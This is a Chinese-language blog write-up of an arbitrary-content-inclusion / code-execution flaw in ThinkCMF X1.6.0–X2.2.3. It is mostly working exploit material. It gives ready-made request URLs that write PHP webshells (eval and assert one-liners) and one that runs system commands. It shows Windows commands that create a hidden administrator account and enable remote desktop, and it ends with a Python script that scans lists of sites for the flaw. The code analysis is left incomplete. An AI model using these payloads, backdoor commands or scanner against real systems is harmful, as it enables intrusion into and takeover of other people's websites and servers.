ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞

0x00:漏洞概述

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理系统框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。

每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

ThinkPHP框架规则参考: https://www.cnblogs.com/czx521/p/6536954.html

参考链接:

https://www.cnblogs.com/yuzly/p/11797485.html

https://www.freebuf.com/vuls/218105.html

https://blog.riskivy.com/thinkcmf-%E6%A1%86%E6%9E%B6%E4%B8%8A%E7%9A%84%E4%BB%BB%E6%84%8F%E5%86%85%E5%AE%B9%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/?from=timeline&isappinstalled=0

https://www.cnblogs.com/mke2fs/p/11744032.html

0x01:影响版本

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

ThinkCMF X2.2.3

本次测试使用 ThinkCMF X2.2.0  https://github.com/thinkcmf/cmfx

0x02:漏洞原理

1、Poc

(1)通过构造a参数的display方法,实现任意内容包含漏洞

ThinkCMFx2.2.2/?a=display&templateFile=README.md

(2)通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件,写入一句话木马

/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('cmfshell.php','<?php @eval($_POST[123]); ?>')</php>

/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('shell.php','<?php $a="assert";$a($_POST[123]);?>');?> //这个要POST传递参数123=phpinfo()

(3)

payload:?a=fetch&content=<?php system('ping xxxxxx');?>

2、漏洞分析

引起漏洞的最主要的问题是因为fetch函数和display函数是public类型。

fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

display函数的作用是加载模板和页面输出,所对应的参数为:templateFile模板文件地址,charset模板字符集,contentType输出类型,content输出内容。

fetch和display的用法差不多,二者的区别就是display方法直接输出模板文件渲染后的内容,而fetch方法是返回模板文件渲染后的内容。

(1)项目路径在application目录

首先我们看下入口文件index.php确定应用目录

 (2)跟进application,发现IndexController.class.php(入口分组的控制器类)

 我们到应用目录application里的controller看一下,根据路由或已知信息可以确定index.php的请求会被路由到indexcontroller.class.php的index()方法

调用了个display显示了首页的内容。这些都不是问题的关键,关键的是thinkcmf是给予tinkphp再开发的,他有一些tp的特性,例如可以通过gma参数指定分组控制器方法,这里可以通过a参数直接调用PortalIndexController父类(HomebaseController)中的一些权限为public的方法。我们自己自己在HomebaseController类中创建一个public属性的方法

 (3)跟进父类HomebaseController文件

	public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
		parent::display($this->parseTemplate($templateFile), $charset, $contentType,$content,$prefix);
	}

  display函数和fetch函数是权限为public, display函数的作用是加载模板和页面输出,所对应的参数为:templateFile模板文件地址,charset模板字符集,contentType输出类型,content输出内容。templateFile参数会经过parseTemplate函数处理。

看不懂  -_-'''

0x03:漏洞测试

(1)通过构造a参数的display方法,实现任意内容包含漏洞

/?a=display&templateFile=README.md

 (2)通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件,写入一句话木马

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('cmfphpinfo.php','<?php phpinfo(); ?>')</php>

页面空白

 访问cmfphpinfo.php

一句话木马一,字符型的密码 好像会报错
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('cmfshell.php','<?php @eval($_POST[123]); ?>')</php>

 

 

新建用户并添加到管理员组,开启远程桌面连接

net user cmftest cmftest /add

net localgroup administrators cmftest /add

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

在本地的 Windows 10 电脑上:在任务栏上的搜索框中,键入“远程桌面连接”,然后选择“远程桌面连接”。在“远程桌面连接”中,键入你想要连接的电脑的名称(从步骤 1),然后选择“连接”。

远程桌面教程:https://blog.csdn.net/javiepong/article/details/6247149

 好吧 我没有连接成功

一句话木马二

/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('cmfshell3.php','<?php $a="assert";$a($_POST[123]);?>');?>

自动化检测漏洞脚本

来自  https://www.cnblogs.com/mke2fs/p/11744032.html

#-*- coding:utf-8 -*-
import urllib2
import re
'''
ThinkCMF框架任意内容包含漏洞
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
Poc:
/?a=display&templateFile=README.md
/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>
Author:Mke2fs
备注:检测脚本可能会误报,自行优化,优化完了记得滴滴一下我<br>还有记得表明出处
'''

#path='url地址列表,用绝对路径'
#thincmf_payload=['/public/index','/Public/index']
path='D:phpstudy_proWWWcmfx-X2.x.xurllist.txt'
payload=['?a=display&templateFile=README.md']
su=[]
def test_is_thinkcmf():
    with open(path) as f:
        contents=f.read() #读取域名
        #print contents.replace('
','').split('
')
        urllist=contents.replace('
','').split('
')#去除分割符,形成一个url列表
    for uri in urllist:
        try:
             print uri
             for x in payload:
                   res=urllib2.Request(uri+x)#urlopen(uri+x,timeout=2)
                   result=urllib2.urlopen(res,timeout=2)#超时两秒
                   html=result.read() #获取网页内容
                   #print html
                   aa = re.search('ThinkCMF',html)
                   #print aa
                   if aa !=None :
                       print "33[31m[*] Vulnerabled!" + "URL:" + uri, aa.group()  # 设置前景色为红色
                       su.append(uri)
                   else:
                       print '33[32m[*] Not Vuln'  # 设置前景色为绿色
        except Exception as e:
            print '33[32m[*] 未知错误或异常!',e
    print su
    with open('包含漏洞url的保存地址','a+') as ff:
        for i in su:
           ff.write(i+'
')
test_is_thinkcmf()

  

  

原文地址:https://www.cnblogs.com/liqik/p/12600107.html